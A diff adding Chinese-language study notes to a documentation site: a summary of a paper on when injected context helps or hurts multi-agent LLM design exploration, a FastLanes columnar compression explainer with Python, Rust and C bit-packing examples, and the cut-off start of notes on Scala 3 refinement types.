+### 4. 锚定的双重角色(Anchoring as Dual Force) + +与心理学**锚定偏差**类比,但在 LLM 多智能体设计里呈现**两面**: + +1. **低基线(自然收敛)**:模型被训练先验锁在「标准解」。工件充当**反锚**——尤其是反模式(「别这么做」暗示「这么做存在」),迫使重新权衡。 +2. **高基线(已在探索)**:团队本就会比较多种方案。工件变成**正锚**——尤其 Code(完整实现)和 Transcript(具体辩论框架),把讨论锁进某一叙事。 + +**无关文档**有时最优:提供轻微「干扰」打破默认先验,却**不**带入内容级锚定——在 ML 训练流水线等任务上,无关文档比 Transcript 还好。 + +### 5. 自然收敛 vs 诱导收敛(Natural vs Induced Convergence) + +Phase 3 通过**提示词强度**操纵收敛压力四档:开放题 → 点名标准做法 → 强制遵循 → 给代码骨架。 + +- **自然收敛**:来自训练数据先验(如 rate limiter 默认令牌桶)→ **对工件扰动敏感**,反模式/记录能拉开探索。 +- **诱导收敛**:提示词已写明「必须用中心化协调器」→ 探索已被压扁 → **工件几乎救不回来**。 + +启示:若你的 prompt 已经「诱导收敛」,别指望再塞 design doc 能恢复探索广度。 + +### 6. 直接评估(Direct Evaluation) + +用评估 LLM 对每条已知权衡做二元判断 + 证据引用,并允许记录**新颖权衡**(不在清单里但合理的设计张力)。避免「实现正确但探索贫瘠」被传统指标掩盖。 + +--- + +## 机制直觉:一张图看懂 + +```text + 基线探索度 (无上下文时的 coverage) + 低 (≈0.03) 高 (≈0.5+) + │ │ + 训练先验 │ 团队 stuck 在「标准答案」 │ 团队已在多方案间权衡 + 主导收敛 │ │ + ▼ ▼ + 注入上下文 │ 反锚 / 扰动 → 覆盖率↑↑ │ 正锚 / 锁定叙事 → 覆盖率↓↓ + │ 反模式、Transcript 效果最好 │ Code、Transcript 伤害最大 + │ │ + 实践建议 │ 积极注入相关工件 │ 少注入或只注入反模式 + │ 甚至无关文档也有帮助 │ 无关文档有时优于相关工件 +``` + +**廉价诊断流程**:`无上下文跑 1 次 → 算 coverage → 若 < 0.1 大胆注入,若 > 0.3 谨慎,若 > 0.5 默认不注入`。 + +--- + +## 代码示例 1:度量基线探索度并决定是否注入上下文 + +下面用 Python 模拟论文的**诊断门控(gating)**逻辑:先跑 baseline trial,再根据阈值选择注入策略。 + +```python +from dataclasses import dataclass +from enum import Enum +from typing import Optional + + +class ArtifactKind(Enum): + NONE = "baseline" + TRANSCRIPT = "transcript" + TOPOLOGY = "topology" + DESIGN_DOC = "design_doc" + ANTI_PATTERNS = "anti_patterns" + CODE = "code" + IRRELEVANT = "irrelevant" + + +@dataclass +class DesignTask: + slug: str + known_tradeoffs: int # 该任务预先列出的权衡项数量 + + +@dataclass +class DeliberationResult: + discussed_tradeoffs: set[str] + novel_tradeoffs: set[str] + + @property + def coverage(self, known: int) -> float: + return len(self.discussed_tradeoffs) / known + + +# 论文经验阈值(arXiv:2605.04361 §4.8) +LOW_BASELINE = 0.10 # 以下:工件通常大幅帮忙 +MID_BASELINE = 0.30 # 以上:最佳工件收益趋近于零 +HIGH_BASELINE = 0.50 # 以上:注入多半有害 + + +def recommend_artifact(baseline_coverage: float) -> ArtifactKind: + """根据无上下文基线,推荐是否/如何注入知识工件。""" + if baseline_coverage < LOW_BASELINE: + # 收敛型任务:反模式扰动最强且负效应最小(Table 4) + return ArtifactKind.ANTI_PATTERNS + if baseline_coverage < MID_BASELINE: + # 中等基线:拓扑清单有时有效,避免完整代码锚定 + return ArtifactKind.TOPOLOGY + if baseline_coverage < HIGH_BASELINE: + # 探索型:相关工件常有害;无关文档偶尔是「最不差」选项 + return ArtifactKind.IRRELEVANT + # 高探索:默认不注入 + return ArtifactKind.NONE + + +def build_transfer_prompt( + task: DesignTask, + artifact: Optional[str], + kind: ArtifactKind, +) -> str: + base = f"Design task: {task.slug}\nDiscuss architectural tradeoffs before committing." + if kind == ArtifactKind.NONE or artifact is None: + return base + return ( + f"{base}\n\n" + f"A previous team worked on this problem. " + f"Here is their {kind.value}:\n\n{artifact}" + ) + + +# --- 使用示例 --- +task = DesignTask(slug="rate_limiter", known_tradeoffs=6) + +# Phase 1: 无上下文基线(论文每任务 20 次;这里用单次示意) +baseline = DeliberationResult( + discussed_tradeoffs={"algorithm_choice"}, # 6 项里只讨论了 1 项 + novel_tradeoffs=set(), +) +baseline_cov = len(baseline.discussed_tradeoffs) / task.known_tradeoffs # 0.167 + +choice = recommend_artifact(baseline_cov) +prompt = build_transfer_prompt( + task, + artifact="Rejected: naive in-memory counter without TTL cleanup...", + kind=choice, +) +print(f"baseline_coverage={baseline_cov:.3f} -> inject {choice.value}") +# baseline_coverage=0.167 -> inject anti_patterns +``` + +这段代码体现论文最核心的工程建议:**先测量,再注入**——不是「永远 RAG」,而是**条件性知识迁移**。 + +--- + +## 代码示例 2:多智能体编排中的条件性工件路由 + +第二个例子展示如何在 Agent 编排层实现 **crossover-aware router**:同一 `KnowledgeStore` 里存了多种工件,但**按任务基线动态选型**。 + +```python +import asyncio +from typing import Callable, Awaitable, Dict, List + + +AgentFn = Callable[[str], Awaitable[str]] + + +class CrossoverAwareOrchestrator: + """ + 简化版 SA 模式:5 个 Agent 并行商议后合成。 + 注入哪种工件由 baseline_coverage 决定(对应论文 Phase 2)。 + """ + + def __init__( + self, + agents: List[AgentFn], + evaluate_coverage: Callable[[List[str]], float], + knowledge_store: Dict[str, str], + ): + self.agents = agents + self.evaluate_coverage = evaluate_coverage + self.knowledge_store = knowledge_store + + async def run_baseline(self, task_prompt: str, trials: int = 1) -> float: + coverages = [] + for _ in range(trials): + transcripts = await asyncio.gather( + *[agent(task_prompt) for agent in self.agents] + ) + coverages.append(self.evaluate_coverage(transcripts)) + return sum(coverages) / len(coverages) + + def select_artifact_key(self, baseline: float) -> str | None: + if baseline < 0.10: + return "anti_patterns" + if baseline < 0.30: + return "topology" + if baseline < 0.50: + return None # 探索型:论文建议默认不注入相关工件 + return None + + async def run_transfer(self, task_prompt: str) -> dict: + baseline = await self.run_baseline(task_prompt) + key = self.select_artifact_key(baseline) + + if key is None: + transfer_prompt = task_prompt + injected = "none" + else: + appendix = self.knowledge_store[key] + transfer_prompt = ( + f"{task_prompt}\n\n" + f"Previous team artifact ({key}):\n{appendix}" + ) + injected = key + + transfer_transcripts = await asyncio.gather( + *[agent(transfer_prompt) for agent in self.agents] + ) + transfer_cov = self.evaluate_coverage(transfer_transcripts) + + return { + "baseline_coverage": baseline, + "injected_artifact": injected, + "transfer_coverage": transfer_cov, + "delta": transfer_cov - baseline, + } + + +# --- 伪 Agent:演示 K8s operator(高基线)vs rate limiter(低基线)方向相反 --- +async def fake_agent(prompt: str) -> str: + if "rate_limiter" in prompt: + if "anti_patterns" in prompt or "Previous team" in prompt: + return "debate: sliding window vs token bucket vs fixed window" + return "use token bucket" # 低基线:默认收敛 + if "k8s_operator" in prompt: + if "Previous team" in prompt and "transcript" in prompt: + return "follow seed team kubebuilder choice only" + return "compare kubebuilder vs operator-sdk vs raw client-go" + return "generic deliberation" + + +async def main(): + orch = CrossoverAwareOrchestrator( + agents=[fake_agent] * 5, + evaluate_coverage=lambda ts: ( + 0.05 if all("token bucket" in t and "vs" not in t for t in ts) else + 0.45 if any("compare" in t for t in ts) else 0.25 + ), + knowledge_store={ + "anti_patterns": "Do NOT default to token bucket without comparing...", + "topology": "Decision: reconciliation loop vs level-triggered...", + "transcript": "Agent3: we already picked kubebuilder...", + }, + ) + + for slug in ["rate_limiter", "k8s_operator"]: + result = await orch.run_transfer(f"Design a {slug}") + print(slug, result) + +asyncio.run(main()) +``` + +路由器体现了论文对 **MetaGPT / ChatDev 类框架**的隐含批评:若无条件把上一阶段「CEO 文档 / 代码 / 全量 log」塞给下一阶段,你在**高基线任务**上大概率是在**缩小**而非扩大设计空间。 + +--- + +## 实验任务一览(10 题) + +**通用软件工程(训练数据覆盖高)** + +| 任务 | 已知权衡数 | 基线 coverage | +|------|-----------|---------------| +| Rate limiter | 6 | **0.033** | +| LRU cache | 5 | 0.540 | +| Task queue | 6 | 0.308 | +| Pub/sub broker | 8 | 0.281 | +| Distributed scheduler | 10 | 0.310 | + +**领域专用(需专门知识)** + +| 任务 | 已知权衡数 | 基线 coverage | +|------|-----------|---------------| +| Kubernetes operator | 8 | 0.475 | +| Database storage engine | 8 | 0.406 | +| ML training pipeline | 8 | 0.356 | +| Video streaming | 8 | 0.406 | +| Network congestion control | 8 | 0.400 | + +Rate limiter 与 LRU cache 同样「经典」,但前者有**主导默认解**,后者没有——这解释了基线悬殊,而非题目「难不难」。 + +--- + +## 各工件类型的经验法则 + +| 工件 | 收敛型任务(低基线) | 探索型任务(高基线) | 一句话 | +|------|---------------------|---------------------|--------| +| Anti-patterns | **最强增益**(+0.667) | 伤害最小 | 最安全的高收益选项 | +| Transcript | 强增益(+0.558) | **最大伤害**(−0.219) | upside/downside 都最极端 | +| Topology | 中等增益 | 轻微负面 | 结构化权衡清单,锚定弱于全文 | +| Design doc | 中等增益 | 明显负面 | polished 叙事 = 强框架锚定 | +| Code | 中等增益 | 强负面 | 完整实现 = 最强正锚 | +| Irrelevant | 弱增益 | 有时**优于所有相关工件** | 扰动无内容锚定 | + +--- + +## 与相关工作的关系 + +- **Lost in the middle**(Liu et al., 2024):长上下文中间信息难用——本文扩展到**多智能体设计**,并发现存在**收敛型任务上上下文反而有益**的 regime,形成交叉而非单调恶化。 +- **Irrelevant context hurts reasoning**(Shi et al., 2023):单模型问答——本文在**多 Agent 设计**上显示无关上下文有时**优于**相关上下文。 +- **ChatDev / MetaGPT**:多按输出质量评估——本文强调 **exploration quality** 是**正交维度**。 +- **Design rationale capture**:传统假设「记录理由对未来团队总有帮助」——本文显示**仅当接收方本来不会探索时**才成立。 + +--- + +## 实践清单(给多智能体系统设计者) + +1. **把「设计探索」从「实现正确」里拆出来评估**——否则你看不见 crossover。 +2. **每个新设计任务先跑 1 次无上下文 trial**,算 tradeoff coverage(便宜、r = −0.82 预测力)。 +3. **基线 < 0.1**:优先注入 **anti-patterns**,其次 transcript;避免只给 code。 +4. **基线 0.1–0.3**:谨慎;topology 可能比 full transcript 更安全。 +5. **基线 > 0.3**:默认**不注入**相关工件;若必须注入,反模式优于 design doc/code。 +6. **检查 prompt 是否在「诱导收敛」**——越强,知识工件越无效。 +7. **不要假设 RAG 检索到的文档一定有帮助**——在高基线任务上,它可能还不如随机一篇无关文。 + +--- + +## 局限与开放问题 + +- **任务数仅 10**:相关性 r = −0.82 有力,但外推需谨慎。 +- **单一模型族 + 固定 5 Agent SA 编排**:换模型、换辩论拓扑,交叉点是否移动? +- **工件由种子组生成**:真实公司里工件质量参差,效应矩阵可能更乱。 +- **coverage 不等于最终架构质量**:探索广不等于选对;但**探索窄**几乎肯定增加**局部最优**风险。 + +--- + +## 一句话总结 + +**When Context Hurts** 的核心不是「上下文有害」,而是:**上下文对多智能体设计探索的影响符号,可由一次无上下文试验测得的基线探索度预测**——在低基线任务上,知识工件是**打破错误收敛的扰动**;在高基线任务上,同一工件是**有害的锚**。行业应从「无条件加上下文」转向 **「先测量,再条件注入」**。 + +--- + +## 延伸阅读 + +- 论文全文:[arXiv:2605.04361](https://arxiv.org/abs/2605.04361) +- HTML 版本:[arXiv HTML](https://arxiv.org/html/2605.04361v1) +- 同仓库相关笔记:[STORM 多智能体状态管理](./storm-multi-agent-state.md)、[工具调用 Agent 的记忆何时有用](./memory-tool-use-agents.md) diff --git a/src/content/docs/papers/fastlanes-compression.md b/src/content/docs/papers/fastlanes-compression.md new file mode 100644 index 000000000..edc0785c6 --- /dev/null +++ b/src/content/docs/papers/fastlanes-compression.md @@ -0,0 +1,329 @@ +--- +title: FastLanes 压缩布局 — 用标量代码每秒解码超过 1000 亿整数 +来源: https://www.vldb.org/pvldb/vol16/p2132-afroozeh.pdf +日期: 2026-06-13 +子分类: 存储与查询 +分类: 数据库 +provenance: pipeline-v3 +--- + +## 从日常类比开始:流水线装箱 vs 串行拆箱 + +想象你在仓库里要把 **1024 个小零件** 从托盘搬到快递盒里。有两种打包哲学: + +**传统方式(串行)**:按零件编号 1、2、3……依次装箱。工人 A 必须等工人 B 把第 3 号零件放好,才能处理第 4 号——因为 bit 流是 **连续咬合** 的,Unpack 时前后依赖很强,很难让 8 个人同时干不同的活。 + +**FastLanes 方式(分 lane 并行)**:先把 1024 个零件 **重排成 128 条流水线**,每条线上 8 个工位(对应 8-bit 元素宽)。同一工位上的 8 个零件 **互不干扰**,128 条线可以同时推进。即使仓库只有 **scalar 工人**(没有 SIMD 特种装备),现代 CPU 的「宽发射」也能让多条线 **同时开工**;LLVM/GCC 还会自动把「每条线里相同动作」合成 SIMD 指令。 + +这篇 **VLDB 2023** 论文(CWI 的 Azim Afroozeh 与 Peter Boncz)针对列式存储里最常见的 **轻量压缩(Light-Weight Compression, LWC)**——字典(DICT)、帧参考(FOR)、差分(DELTA)、游程(RLE)以及底层的 **bit-packing**——重新设计 **内存布局**,让 **纯标量 C/Rust 代码** 在 Intel、AMD、Apple、AWS 上都能跑到 **每秒解码 >1000 亿整数**(约 **>40 值/CPU 周期**),且 **无需手写 AVX/NEON intrinsics**。 + +开源实现:https://github.com/cwida/FastLanes ;Rust 移植:https://github.com/spiraldb/fastlanes + +--- + +## 是什么 + +**FastLanes** 不是又一种 Snappy/zstd 式的「块压缩器」,而是 **LWC 解码的数据布局 + 虚拟指令集**: + +| 层次 | 传统 Parquet/ORC 痛点 | FastLanes 做法 | +|------|------------------------|----------------| +| Bit-unpack | 比特流顺序依赖,SIMD 难向量化 | **Interleaved layout**:按虚拟 **1024-bit 寄存器** 分 lane | +| DELTA/RLE/FOR | 本质串行,lane 间有依赖 | **Unified Transposed Layout (UTL)**:全表列统一重排 tuple | +| 跨平台 | 维护 AVX2/AVX-512/NEON 多套 intrinsic | **标量写法 + 编译器 auto-vectorize** | +| 批大小 | 各 codec 各自为政 | 统一 **1024 元素** 为一个 FastLane 向量 | + +论文标题里的 **「scalar code」** 指:源码里没有 `_mm256_*` 这类内联汇编式 intrinsic,性能来自 **布局让循环可向量化**,而不是绑死某条 SIMD 方言。 + +--- + +## 为什么重要 + +列式分析(DuckDB、ClickHouse、Spark)和新一代 **FastLanes 文件格式** 的共同逻辑是: + +1. **磁盘/网络带宽** 用 LWC 压下来; +2. **查询速度** 取决于解码是否「几乎免费」。 + +2010 年代常见假设:I/O 慢、CPU 解码不是瓶颈。2020 年代 NVMe、内存带宽、GPU 解码把 **解压 CPU 成本** 推回前台——Parquet 默认 Snappy + 非并行友好的 bitpack,在现代硬件上可能 **解码比读盘还贵**。 + +FastLanes 的核心论点:**换一种比特在内存里的「摆放方式」**,就能在 **不写平台相关 SIMD** 的前提下,把解码吞吐拉高一个数量级,并顺带解决 **ARM vs x86、128-bit vs 512-bit SIMD 宽度不一** 的维护噩梦。 + +--- + +## 核心概念 + +### 1. 轻量压缩(LWC)四件套 + +Analytics 列存里,整数列在进 bit-packing 前通常会先做一层 **语义压缩**: + +| 编码 | 直觉 | 例子 | +|------|------|------| +| **FOR**(Frame of Reference) | 整列减去同一个基准值 | 温度 `[1001,1002,1003]` → 基准 1000,存 `[1,2,3]` | +| **DELTA** | 存相邻差分 | `[10,12,15]` → `[10,2,3]` | +| **RLE** | 连续重复只存 `(值, 次数)` | `[7,7,7,3]` → `(7×3), (3×1)` | +| **DICT** | 低基数列映射到小整数 ID | `"男"/"女"` → `0/1` | + +这些编码 **减小数值幅度** → bit-packing 用更少的 bit 宽度(如 u32 列压成 u5)→ 省空间。FastLanes 对 **上述全部** 提供加速布局,而不只 bitpack 本身。 + +### 2. 虚拟 MM1024 寄存器 + +真实 CPU 最宽 SIMD 今天约 **512 bit(AVX-512)**,FastLanes 定义 **虚拟 1024-bit 寄存器 MM1024**: + +- 一次处理 **1024 个元素**(对 u8 即 1024 bit 有效载荷); +- 源码按 MM1024 写循环,编译器在 256-bit 机器上 **拆成 4 条 256-bit 指令**,在 128-bit NEON 上 **拆成 8 条**——**同一份压缩文件**,无需重编码。 + +对元素位宽 `T`(如 u8 则 T=8),外层 lane 数为: + +```text +lanes = 1024 / T = 128 (当 T=8) +``` + +每个 lane 内,按 **stride = lanes** 访问元素:`input[128 * row + lane]`。 + +### 3. Interleaved bit-packing 布局 + +传统 bitpack:比特 **严格顺序** 流 `[v0|v1|v2|…]`,解第 k 个值要先解完前面所有 bit。 + +FastLanes:把 1024 个 T-bit 值看成 **T 行 × 128 列** 的矩阵,**按列(lane)** 打包:同一 lane 内的元素在比特流里 **对齐、独立**,使内层循环形态为: + +```text +for lane in 0..128: + packed[lane] = f(input[lane], input[lane+128], …) // 相同指令、相同相对偏移 +``` + +这正是 LLVM **loop vectorizer** 最喜欢的模式(类似 `a[i]=b[i]+c[i]`)。 + +### 4. Unified Transposed Layout(UTL)与 `04261537` 序 + +DELTA/RLE 看起来 **高度串行**(第 i 个依赖 i-1)。UTL 的做法:**在写入 FastLanes 文件前,重排整张表的所有列**,把 1024 个 tuple 切成 8 个 chunk(每 chunk 128 行),再按 **`0-4-2-6-1-5-3-7`** 顺序交错排列。 + +这样: + +- 不同 SIMD lane 宽度(8/16/32/64 bit)都能 **最大化独立工作**; +- DELTA 可在 transposed 块内 **向量化前缀和** 的变体; +- 多列用 **同一套重排**,JOIN/scan 时 cache 友好。 + +(完整索引公式见论文 Figure;零基础只需记住:**不是按行号 0,1,2…存,而是故意「洗牌」成 04261537 让硬件开心**。) + +### 5. 标量快 → 编译器变 SIMD + +论文 micro-benchmark:**>40 decoded values / CPU cycle**;3.5 GHz 机器上粗算可达 **>100B integers/s**。 + +关键机制: + +1. **Interleave + UTL** 消除 lane 间 false dependency; +2. 宽发射 CPU 上 **多条 scalar 指令并行飞**; +3. 现代编译器把外层 lane 循环 **auto-vectorize** 成 NEON/AVX——**零 intrinsic 技术债**。 + +--- + +## 代码示例 1:FOR + bit-packing 直觉(Python 伪代码) + +下面用 **极简 Python** 演示 FOR 如何缩小 bit 宽度,以及为何「小整数」对 FastLanes 友好。(非 FastLanes 官方 API,仅为零基础建立数值直觉。) + +```python +def frame_of_reference_encode(values: list[int]) -> tuple[int, list[int]]: + """FOR:找最小值作基准,存偏移量(保证非负)。""" + base = min(values) + deltas = [v - base for v in values] + return base, deltas + +def bits_needed(max_val: int) -> int: + """压成 uW 时需要的 bit 数 W。""" + return max(1, max_val.bit_length()) + +# 模拟一列「接近的传感器读数」 +readings = [1_000_000 + i for i in range(1024)] +base, residuals = frame_of_reference_encode(readings) +W = bits_needed(max(residuals)) + +print(f"原始 u32 列: 1024 × 32 bit = {1024 * 32} bit") +print(f"FOR 后基准={base}, 最大残差={max(residuals)}, 只需 W={W} bit/值") +print(f"Bit-pack 后约: 1024 × {W} bit = {1024 * W} bit") +print(f"压缩比约: {32 / W:.1f}x(仅 bit 宽度层面)") +``` + +FOR 之后残差落在 **0..1023**,只需 **10 bit** 而非 32 bit——FastLanes 的 bitpack kernel 再把这些 10-bit 值按 **lane 布局** 塞进字节数组,解码端即可 **128 条 lane 并行 unpack**。 + +--- + +## 代码示例 2:FastLanes 风格 u8→u3 bitpack 内核(Rust 伪代码) + +摘自论文思路与 [Nick Gates 对 FastLanes Rust 的讲解](https://nickgates.com/notes/life-in-the-fastlanes/):把 **1024 个 u8** 压成 **3 bit/值**,输出 **384 字节**。注意 **lane 循环** 与 **128 stride** 访问模式——这是 auto-vectorize 的关键。 + +```rust +/// 将 1024 个 0..7 的 u8 压成 3-bit 流(每 lane 独立打包) +fn pack_u8_u3(input: &[u8; 1024], packed: &mut [u8; 384]) { + const MASK: u8 = 0b0000_0111; // 只保留 3 bit + const LANES: usize = 128; // 1024 / 8 = 128 + + for lane in 0..LANES { + let mut tmp: u8; + + // 第 0 行:input[lane + 128*0] + tmp = input[lane] & MASK; + tmp |= (input[lane + LANES * 1] & MASK) << 3; + tmp |= (input[lane + LANES * 2] & MASK) << 6; + packed[lane] = tmp; + + // 跨字节 carry:第 3 个值的最高 bit 溢出到下一字节 + tmp = (input[lane + LANES * 2] & MASK) >> 2; + tmp |= (input[lane + LANES * 3] & MASK) << 1; + tmp |= (input[lane + LANES * 4] & MASK) << 4; + tmp |= (input[lane + LANES * 5] & MASK) << 7; + packed[LANES + lane] = tmp; + + tmp = (input[lane + LANES * 5] & MASK) >> 1; + tmp |= (input[lane + LANES * 6] & MASK) << 2; + tmp |= (input[lane + LANES * 7] & MASK) << 5; + packed[LANES * 2 + lane] = tmp; + } +} +``` + +用 `cargo asm` 查看 ARM NEON 时,内层会出现 `and.16b`、`shl.16b` 等 **16 字节宽向量指令**——源码里 **没有** 写 NEON intrinsic,是 LLVM 对 `lane` 循环的自动向量化。 + +**官方 Rust crate 用法**(`spiraldb/fastlanes`)更简洁: + +```rust +use fastlanes::BitPacking; + +const WIDTH: usize = 3; +const PACKED: usize = 128 * WIDTH / size_of::(); + +let mut values = [0u16; 1024]; +for i in 0..1024 { + values[i] = (i % (1 << WIDTH)) as u16; +} + +let mut packed = [0u16; PACKED]; +BitPacking::pack::(&values, &mut packed); + +let mut restored = [0u16; 1024]; +BitPacking::unpack::(&packed, &mut restored); +assert_eq!(values, restored); +``` + +--- + +## 代码示例 3:DELTA 解码为何需要 UTL(C 风格伪代码) + +朴素 delta 解码 **无法** 向量化: + +```c +// 串行:第 i 步依赖 out[i-1] +void delta_decode_serial(const int32_t *enc, int32_t *out, int n) { + out[0] = enc[0]; + for (int i = 1; i < n; i++) + out[i] = out[i - 1] + enc[i]; +} +``` + +FastLanes 在 **UTL 重排后的 1024 块** 内,把依赖拆到 **lane 局部**:每个 lane 先做 **块内前缀和**,再在 lane 之间传递 **单个 carry**(论文称这种结构适合 SIMD `scan`)。零基础可记:**UTL 把「一条长链」拆成「128 条短链 + 少量边界合并」**。 + +```c +// 概念示意:每个 lane 独立扫描 8 个元素(T=32 时 1024/32=32 lanes,此处简化为 4 lanes × 4 元素) +void delta_decode_lane_local(const int32_t enc[16], int32_t out[16]) { + const int LANES = 4, STRIDE = 4; + int32_t lane_carry[4] = {0}; + + for (int l = 0; l < LANES; l++) { + int32_t sum = lane_carry[l]; + for (int k = 0; k < STRIDE; k++) { + int idx = l + k * LANES; // UTL 下的访问模式 + sum += enc[idx]; + out[idx] = sum; + } + lane_carry[l] = sum; // 下一块继续 + } +} +``` + +真实 FastLanes 实现还处理 **跨 1024 块边界** 的全局 carry;布局保证 **编译器仍能看到规则 stride 循环**。 + +--- + +## 与 Parquet / ORC 的关系 + +| 维度 | Parquet/ORC(2013 年代) | FastLanes 论文 / 格式 | +|------|--------------------------|------------------------| +| 批大小 | Page / stream 大小不固定 | 固定 **1024** FastLane | +| Bitpack | 顺序比特流 | **Interleaved + MM1024** | +| Tuple 顺序 | 逻辑行序 | **UTL 04261537 重排** | +| SIMD | 各系统手写 intrinsic | **标量 + auto-vectorize** | +| 块压缩 | 常默认 Snappy | 倾向 **仅 LWC**,解码极轻 | + +FastLanes **不是** 要立刻替换所有 Parquet 数据集,而是证明:**LWC 解码可以快到「带宽省下来的时间 > 解码花的时间」**——为 DuckDB、Vortex、GPU decode 等新栈提供布局标准。 + +--- + +## 性能数字(论文 micro-benchmark 摘要) + +- **解码吞吐**:单核 **>100B integers/s**(标量 C,多平台)。 +- **每周期解码**:**>40 values / cycle**(视编码与位宽而定)。 +- **相对加速**:相对传统 layout 的 bitpack/FOR/DELTA/RLE/DICT,**数倍到数量级**(Figure 见原文)。 +- **平台**:Intel、AMD、Apple Silicon、AWS Graviton 均测——布局 **不绑 ISA**。 + +注意:绝对数字随 CPU、位宽 W、是否 L3 cache resident 变化;**布局 + 1024 batch** 是可迁移的设计原则。 + +--- + +## 实现与生态 + +| 项目 | 说明 | +|------|------| +| [cwida/FastLanes](https://github.com/cwida/FastLanes) | 论文作者 C++ 参考实现,含生成器产出大量 bitpack 宽度组合 | +| [spiraldb/fastlanes](https://github.com/spiraldb/fastlanes) | Rust 实现,宏生成 mask/shift;**与 C++ 版二进制不兼容**(bitpack 顺序为 fused kernel 优化) | +| [fastlanes.io](https://fastlanes.io) | 新一代列存 **文件格式**(Arrow/DuckDB 互操作进行中) | +| Vortex | 压缩 Arrow 库,内置 FastLanes codec | + +验证向量化: + +```bash +RUSTFLAGS='-C target-cpu=native' cargo asm --release --bench bitpacking +``` + +--- + +## 局限与开放问题 + +1. **UTL 重排** 改变逻辑行顺序,需要格式层记录 permute;与 **谓词下推、行级安全** 交互要仔细设计。 +2. **1024 固定 batch** 对极短列有 padding 开销;尾块需单独处理。 +3. **字符串 / 变长类型** 仍以 offset 为主,LWC 优势在 **数值列**。 +4. **GPU 解码** 在后续工作中继续扩展(论文提及,格式博客 2024 列为 roadmap)。 +5. Rust 与 C++ 实现 **布局细节不同**,跨语言读同一文件需统一规范版本。 + +--- + +## 自测题(读完应能答) + +1. 为什么 FastLanes 强调 **1024 元素** 和 **1024 bit 虚拟寄存器** 对齐? +2. **Interleaved bitpack** 解决了传统 bitpack 的哪个 SIMD 痛点? +3. **UTL `04261537`** 想优化的是 DELTA/RLE 的什么问题? +4. 「Scalar code 每秒 1000 亿整数」是否意味着 **没有 SIMD**?实际机器上发生了什么? +5. FOR 之后为什么 bit-packing 更省空间? + +
+参考答案(先自己想再点开) + +1. 1024 是 2 的幂,可被 8/16/32/64 bit lane 整除,使 `lanes = 1024/T` 为整数,且单 batch 适配各级 SIMD 拆分。 +2. 传统顺序比特流有 **跨值 bit 依赖**;按 lane 交错后,每个 lane 内 pack/unpack **指令相同、偏移规律**,循环可向量化。 +3. 朴素 DELTA/RLE **串行依赖**;UTL 把 tuple 洗牌成 **多 lane 短链**,块内可并行 scan,仅保留少量 lane 间 carry。 +4. **不是**。源码无 intrinsic,但编译器把 lane 循环 **auto-vectorize** 成 AVX/NEON;宽发射 CPU 也让多条标量指令并行。 +5. FOR 把大整数变成 **小残差** → 每个值只需 **W bit(W≪32)** → bitpack 输入 entropy 更低。 + +
+ +--- + +## 延伸阅读 + +- Afroozeh & Boncz, **PVLDB 16(9), 2023**, doi:[10.14778/3598581.3598587](https://doi.org/10.14778/3598581.3598587) +- Nick Gates, [Life in the FastLanes](https://nickgates.com/notes/life-in-the-fastlanes/) — bitpack 与 auto-vectorize 入门 +- 本仓库笔记:[列式存储格式实证评估(Parquet vs ORC)](./columnar-storage-formats-2023.md) — LWC 与 Snappy 层在 2023 年的 trade-off +- Zeng et al., VLDB 2023 — 为何 **CPU 解码** 重新成为列存瓶颈 + +--- + +## 一句话总结 + +**FastLanes 把「轻量压缩」从串行比特技巧,升级成面向 1024-lane 并行与编译器 auto-vectorize 的内存布局标准——让列存解码在现代 CPU 上快到接近免费,同时避免 SIMD intrinsic 的平台债。** diff --git a/src/content/docs/papers/first-class-refinement-scala.md b/src/content/docs/papers/first-class-refinement-scala.md new file mode 100644 index 000000000..bac5f88ca --- /dev/null +++ b/src/content/docs/papers/first-class-refinement-scala.md @@ -0,0 +1,285 @@ +--- +title: First-Class Refinement Types for Scala — 把「带条件的类型」写进 Scala 3 本身 +来源: 'Bovel, Kunčak & Odersky, "First-Class Refinement Types for Scala", arXiv:2605.08369, 2026' +日期: 2026-06-13 +子分类: 类型与 PL 理论 +分类: 编程语言 +provenance: pipeline-v3 +--- + +## 从日常类比开始:VIP 名单不是贴在门外的便签 + +想象一家 nightclub 的入场规则: + +- **普通做法**:门口保安只认身份证上的「是否成年」(相当于 `Int`、`String` 这类基础类型)。至于「是否穿正装、是否在 guest list 上」,另有一张**手写便签**贴在保安亭里——保安和前台各看各的,规则不一致时,客人会在两个窗口之间来回解释。 +- **理想做法**:guest list 直接写进**同一份正式名册**。前台登记时,姓名后面就带上「仅限 VIP 区」;保安、调酒师、储物柜系统读的都是同一份数据,子集关系也自然成立——「VIP」一定是「已入场客人」的子集。 + +编程里的 **refinement type(精化类型)** 就是给类型加逻辑谓词: +`{ x: Int | x > 0 }` 表示「正整数」,比裸 `Int` 更窄。 + +Liquid Haskell、F*、Dafny 等系统早已证明:这种「类型 + 谓词」的轻量验证很管用——数组下标不越界、除数不为零、协议状态机不变量,都可以写进类型。 + +但 Liquid Haskell 的典型写法是: + +```haskell +{-@ x :: {v:Int | v mod 2 == 0} @-} +let x = 42 :: Int in ... +``` + +注意 **`Int` 写了两遍**:一遍给 GHC,一遍给 LiquidHaskell 插件。两套类型检查器、两套报错、两套 IDE 心智模型。Gamboa 等人 2025 年的可用性研究里,有参与者说:「好像在同时跟 GHC 和 LiquidHaskell 说话。」 + +这篇论文(EPFL,Matt Bovel、Viktor Kunčak、Martin Odersky)的核心主张是:**在 Scala 3 里,精化类型应该是 first-class——和普通类型一样,参与子类型、推断、模式匹配、重载解析**,而不是编译器外的第二层。 + +Liquid Haskell 的例子在 Scala 3 原型里变成: + +```scala +val x: (Int with x % 2 == 0) = 42 +``` + +`Int with x % 2 == 0` 就是**普通 Scala 类型**,不是注释里的注解。 + +--- + +## 是什么 + +**First-Class Refinement Types for Scala** 提出并实现了 Scala 3 精化类型的完整设计: + +1. **语法**:两种写法——长形式 `{ v: T with p(v) }` 与短形式 `T with p`(复用外层绑定名)。 +2. **语义**:谓词是 Scala 表达式的一个**纯子集**;采用**部分正确性(partial correctness)**——程序若终止且返回值存在,则满足谓词;不要求证明终止。 +3. **类型推断**:保留 Scala 原有 widening,不强行给每个中间表达式推断最精类型;用 **equality facts(等式事实)** 和 **selfification(自化)** 按需恢复精度。 +4. **证明义务**:编译器内置轻量 **e-graph 求解器**(约 600 行),不依赖外部 SMT;IDE 里每次按键都能跑。 +5. **形式化**:在 Rocq 中 mechanize 核心演算 soundness,覆盖依赖函数类型、有界多态、正等递归类型、并/交类型与精化类型的组合。 +6. **工程**:作为 Dotty(Scala 3 编译器)原型扩展,约 2500 行改动。 + +论文状态:2026 年 5 月 arXiv 